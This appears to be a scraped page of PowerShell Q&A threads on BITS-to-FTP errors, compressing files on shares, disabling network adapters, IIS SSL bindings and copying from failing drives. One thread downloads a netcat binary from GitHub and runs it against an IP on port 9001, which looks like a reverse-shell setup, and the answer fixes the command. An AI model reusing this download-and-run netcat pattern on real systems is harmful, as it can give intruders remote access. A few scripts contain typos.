PowerShell BITS to FTP :: Cannot Find Drive - ftp

Having seen examples of BITS being used to transfer files from http addresses as well as regular windows file shares, I thought I'd test pulling and pushing to/from ftp. I used the below powershell commands:
Start-BitsTransfer `
-Source ftp://username:password#ftp.somewhere.com/file.zip `
-Destination c:\temp\file.zip
Start-BitsTransfer `
-Source c:\temp\file2.zip `
-Destination ftp://username:password#ftp.somewhere.com/file2.zip
In both cases I got the error:
Start-BitsTransfer : Cannot find drive. A drive with the name 'ftp' does not exist.
At c:\temp\bits2ftp.ps1:3 char:1
+ Start-BitsTransfer `
+ ~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : ObjectNotFound: (ftp:String) [Start-BitsTransfer], ParentContainsErrorRecordException
+ FullyQualifiedErrorId : DriveNotFound,Microsoft.BackgroundIntelligentTransfer.Management.NewBitsTransferCommand
As such, I assume this isn't possible... however thought I'd post on here in case there is a way to do this (e.g. does it work on certain ftp servers)?
Also posting on here since I've seen no mention of anyone attempting this before, so thought I'd provide a Google hit for the next person to wonder.

So far as I can tell, FTP is not currently supported.
HTTP and HTTPS Download Server Requirements: http://msdn.microsoft.com/en-us/library/aa362846(v=vs.85).aspx
HTTP and HTTPS Upload Server (IIS) Requirements: http://msdn.microsoft.com/en-us/library/aa363130(v=vs.85).aspx

Related

How to use Powershell to download and pipe to execution with arguments

I am trying to use powershell to download and execute a file with arguments:
. { iwr -useb https://github.com/int0x33/nc.exe/blob/master/nc64.exe?raw=true } | iex; <IP> 9001
I get this error:
Unexpected token '9001' in expression or statement.
+ CategoryInfo : ParserError: (:) [], ParentContainsErrorRecordException
+ FullyQualifiedErrorId : UnexpectedToken
Any help appreciated.
Invoke-Expression (ie) is for interpreting and executing text as PowerShell code[1] - you can't use it to execute a binary download directly (which PowerShell fundamentally doesn't support).
Instead, use Invoke-WebRequest's (iwr's) -OutFile parameter to download the binary content to a local file and execute the latter:
iwr -useb https://github.com/int0x33/nc.exe/blob/master/nc64.exe?raw=true -OutFile ./nc64.exe
./nc64.exe $someIp 9001
[1] The obligatory warning: Invoke-Expression (iex) should generally be avoided and used only as a last resort, due to its inherent security risks. Superior alternatives are usually available. If there truly is no alternative, only ever use it on input you either provided yourself or fully trust - see this answer.

Can you compress files on a network share using PowerShell without downloading them to the client?

I have a network share hosted by a server (\SERVER) which is being accessed by other servers/clients.
\\SERVER\SHARE\Folder\File
If I wanted to compress Folder and everything in it, is it possible to do using PowerShell WITHOUT having the files be downloaded to the machine that is running the command?
The files in question are large, and there is not enough room on the C drive to download and compress the files on the client. So for example if I navigated to the network share from the client using Windows File Explorer, and selected the folder to compress, it would start downloading the files to the client and then fail due to insufficient free space on the client.
What about PowerShell's Invoke-Command Option?
I do have the option to Invoke-Command from the client to the server, however, the C drive of \SERVER is to small to handle the request as well. There is a D drive (which hosts the actual \SHARE), which has plenty of space though. I would have to tell PowerShell to compress files on that drive somehow instead of the default which would be the C drive.
Error when running the below PowerShell Command
Compress-Archive -Path "\\SERVER\SHARE\Folder" -DestinationPath "\\SERVER\SHARE\OtherFolder\Archive.zip"
Exception calling "Write" with "3" argument(s): "Stream was too long."
At
C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.Archive\Microsoft.PowerShell.Archive.psm1:820
char:29
+ ... $destStream.Write($buffer, 0, $numberOfBytesRead)
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotSpecified: (:) [], MethodInvocationException
+ FullyQualifiedErrorId : IOException
The problem is caused by Compress-Archive's limits. Its maximum file size is 2 GB. Documentation mentions this:
The Compress-Archive cmdlet uses the Microsoft .NET API
System.IO.Compression.ZipArchive to compress files. The maximum file
size is 2 GB because there's a limitation of the underlying API.
As for a solution, compress smaller files, or use another a tool such as 7zip. There's a module available, though manual compression is not that complex. As 7zip is not a native tool, install either it or the Powershell module.
Set-Alias sz "$env:ProgramFiles\7-Zip\7z.exe"
$src = "D:\somedir"
$tgt = "D:\otherdir\archive.7z"
sz a $tgt $src
If the source files are small enough so that a single file will never create an archive larger that the limit, consider compressing each file by itself. An example is like so,
$srcDir = "C:\someidir"
$dstDir = "D:\archivedir"
# List all the files, not subdirs
$files = gci $srcDir -recurse | ? { -not $_.PSIsContainer }
foreach($f in $files) {
# Create new name for compressed archive. Add file path, but
# replace \ with _ so there are no name collisions.
$src = $f.FullName
$dst = "c:\temppi\" + $src.Replace('\', '_').Replace(':','_') + ".zip"
Compress-Archive -whatif -Path $src -DestinationPath $dstDir
}
As a side note: use Enter-PSSession or Inoke-Command to run the script on the file server. There you can use local paths, though UNC paths should work pretty well - those are processed by loopback, so data isn't going through network.

How can I display, enable or disable all the Network adapters using PowerShell 5 in windows 7?

I am very new to PowerShell. I am using Windows 7 and PowerShell 5.
What I am trying to do is:
display all the network adapters for a system.
Disable all of them
Enable all of them
I am using this code to display all the network adapters:
$wmi = get-wmiobject win32_networkadapter
This displays all the network adapters and their status.
But the problem is that, I am not able to disable all pf the network adapters together using this command.
$wmi.disable()
This statement gives me the error:
Method invocation failed because [Selected.System.Management.ManagementObject] does not contain a method named 'disable'.
At line:1 char:1
+ $wmi.disable()
+ ~~~~~~~~~~~~~~
+ CategoryInfo : InvalidOperation: (disable:String) [], RuntimeException
+ FullyQualifiedErrorId : MethodNotFound
Is there any alternative way to display all the network adapters and disable or enable all of them together ?
Thanks in advance!
It's because you're calling .disable() on the collection of network adapters and this method only exists for a single network adpater.
Try this:
$wmi = get-wmiobject win32_networkadapter
$wmi | Foreach-Object {
Write-Host "Disabling: $($_.name)"
$_.disable()
}

New-WebBinding: Cannot retrieve the dynamic parameters for the cmdlet

We're using Windows 2012 Server R2.
We're trying to automate the creation of LetsEncrypt certificates. We're using LetsEncrypt-Win-Simple (https://github.com/Lone-Coder/letsencrypt-win-simple).
Once the cert is created (via LetsEncrypt.exe) we have a .bat script that gets called (using the --script and --scriptparameters flags). This runs powershell.exe and tries to create the necessary IIS binding. The line in the .bat file is:
powershell.exe -file c:\temp\SSLIISBinding.ps1 %1 %2 %3 %4
The %1-4 are args passed in by LetsEncrypt. In the powershell script, the command we're trying to run is:
$iis_host_name = $args[0]
$iis_site_name = $args[1]
$certificate_hash = $args[2]
$certificate_store = $args[3]
"IIS Host Name: " + $iis_host_name
"IIS Site Name: " + $iis_site_name
"Certificate Hash: " + $certificate_hash
"Certificate Store: " + $certificate_store
$guid = [guid]::NewGuid().ToString("B")
netsh http add sslcert hostnameport="${iis_host_name}:443" certhash=$certificate_hash certstorename=$certificate_store appid="$guid"
New-WebBinding -name $iis_site_name -Protocol https -HostHeader $iis_host_name -Port 443 -SslFlags 1
The args are passed into the .bat fine, as we output them and they are showing correctly.
If we run the .bat file on its own, it works perfectly. If it gets called by LetsEncrypt.exe it fails, reporting the following issue:
New-WebBinding : Cannot retrieve the dynamic parameters for the cmdlet.
Retrieving the COM class factory for component with CLSID
{688EEEE5-6A7E-422F-B2E1-6AF00DC944A6} failed due to the following error:
80040154 Class not registered (Exception from HRESULT: 0x80040154
(REGDB_E_CLASSNOTREG)).
At C:\temp\SSLIISBinding.ps1:13 char:1
+ New-WebBinding -name $iis_site_name -Protocol https -HostHeader
$iis_host_name ...
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
~~~
+ CategoryInfo : InvalidArgument: (:) [New-WebBinding], Parameter
BindingException
+ FullyQualifiedErrorId : GetDynamicParametersException,Microsoft.IIs.Powe
rShell.Provider.NewWebBindingCommand
I've googled, some mentioning something about 32bit vs 64bit powershell, but I've tried using all the different powershell.exe available.
Anyone hit this issue, or know to resolve.
If we call .bat directly from command line it works fine, just as part of being called via LetsEncrypt.exe. A permission problem? Wrong powershell.exe?
That part of your question:
I've googled, some mentioning something about 32bit vs 64bit powershell
is already half of an answer. Some commands do not run properly if bitness of PowerShell process does not match bitness of operation system. So, you need to run powershell.exe, which located in this %windir%\System32\WindowsPowerShell\v1.0\ directory. But there is a little problem described in this documentation topic:
In most cases, whenever a 32-bit application attempts to access %windir%\System32, the access is redirected to %windir%\SysWOW64.
Thus, if 32-bit program on 64-bit OS invoke %windir%\System32\WindowsPowerShell\v1.0\powershell.exe, it will actually invoke 32-bit version of PowerShell from here %windir%\SysWOW64\WindowsPowerShell\v1.0\ instead of 64-bit one. To actually invoke 64-bit PowerShell from 32-bit application you need to use this trick:
32-bit applications can access the native system directory by substituting %windir%\Sysnative for %windir%\System32. WOW64 recognizes Sysnative as a special alias used to indicate that the file system should not redirect the access.
I've got the same error when running the following cmdlet:
PS> Remove-WebAppPool -Name 'Test'
Remove-WebAppPool : Cannot retrieve the dynamic parameters for the cmdlet. Retrieving the COM class factory for
component with CLSID {688EEEE5-6A7E-422F-B2E1-6AF00DC944A6} failed due to the following error: 80040154 Class not
registered (Exception from HRESULT: 0x80040154 (REGDB_E_CLASSNOTREG)).
At line:1 char:1
+ Remove-WebAppPool -Name 'Test'
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : InvalidArgument: (:) [Remove-WebAppPool], ParameterBindingException
+ FullyQualifiedErrorId : GetDynamicParametersException,Microsoft.IIs.PowerShell.Provider.RemoveAppPoolCommand
The reason was because I ran it using Windows PowerShell (x86) on my Windows 10 x64 machine.
When I tried the same but using Windows PowerShell, which is 64 bit version, it worked just fine.
I think your $guid is the issue. The GUID needs to be the GUID of the program to bind the cert to. For your example port 443 is only bound to a random GUID, and not your program's GUID. IIS and other apps have a static GUID that you will want to use. If the GUID for a powershell script then Get-host is the powershell host executing code so that's the GUID you need. It changes for every powershell session and the netsh binding needs to as well.
$appid = "appid={"+(get-host).InstanceId.guid+"}"
$certhash = ls Cert:\LocalMachine\my | where {$.EnhancedKeyUsageList -Match 'Server' -and $.subject -match (hostname)}|sort-object $_.NotAfter|select -expand Thumbprint -last 1
$cmdline='netsh http add sslcert ipport=0.0.0.0:443 certhash=' + $certhash + ' "' + $appid + '"'
netsh http delete sslcert ipport=0.0.0.0:443
Invoke-Expression $cmdline
A google search for "Cannot retrieve the dynamic parameters for the cmdlet" brought me here but my issue was using powershell from the command line, and the answer was to escape the double quotes on the command...
I've got a problem with the same error. This happens when i'm trying to Add-WebBinding to my IIS site remotely, using Invoke-Command from different agent machines at time.
It's worked for me, maybe it helps someone too:
$Mutex = New-Object -TypeName System.Threading.Mutex($false, "Global\Mutex")
if ($Mutex.WaitOne(300000)) {
#For example
#$Command = {
#New-WebBinding -name $iis_site_name -Protocol https -HostHeader
#$iis_host_name -Port 443 -SslFlags 1
#}
#Invoke-Command -Command $Command
} else {
Write-Warning "Timed out acquiring mutex!"
}
$Mutex.Dispose()

Copy files from corrupted HD using a powershell script

I am trying to use a script that ignores I/O errors on a HD, to copy whatever is good there into another HD.
I found this script here : http://81.165.15.172:1983/blog/2013/06/02/ignoring-device-io-errors-during-copy-with-powershell/comment-page-1/
(https://raw.github.com/DavorJ/PS-ForceCopy/master/Force-Copy.ps1)
that does just that...but i cant get it to work.
I am trying with command :
.\Force-Copy.ps1 -SourceFilePath "I:\Downloads\" -DestinationFilePath "H:\Downloads" -MaxRetries 6
but it gives me this weird error:
F:\SSDU\Desktop\Force-Copy.ps1 : Cannot validate argument on parameter 'SourceFilePath'. The "Test-Path -LiteralPath $_ -Type Leaf" validation script for the argument with value "I:\Downloads\" did not return true. Determine why the validation script failed and then try the command again.
At line:1 char:34
+ .\Force-Copy.ps1 -SourceFilePath "I:\Downloads\" -DestinationFilePath
"H:\Downlo ...
+ ~~~~~~~~~~~~~~~
+ CategoryInfo : InvalidData: (:) [Force-Copy.ps1], ParameterBind
ingValidationException
+ FullyQualifiedErrorId : ParameterArgumentValidationError,Force-Copy.ps1
Anyone knows how to use this in win-8 64-bit ?
-Thanks
So, it's not a PowerShell solution, but for getting whatever you can off a dying drive I recommend using Roadkil's Unstoppable Copier. You can download it from the author at:
http://www.roadkil.net/program.php/P29/Unstoppable%20Copier
I have had good success with that one.

Resources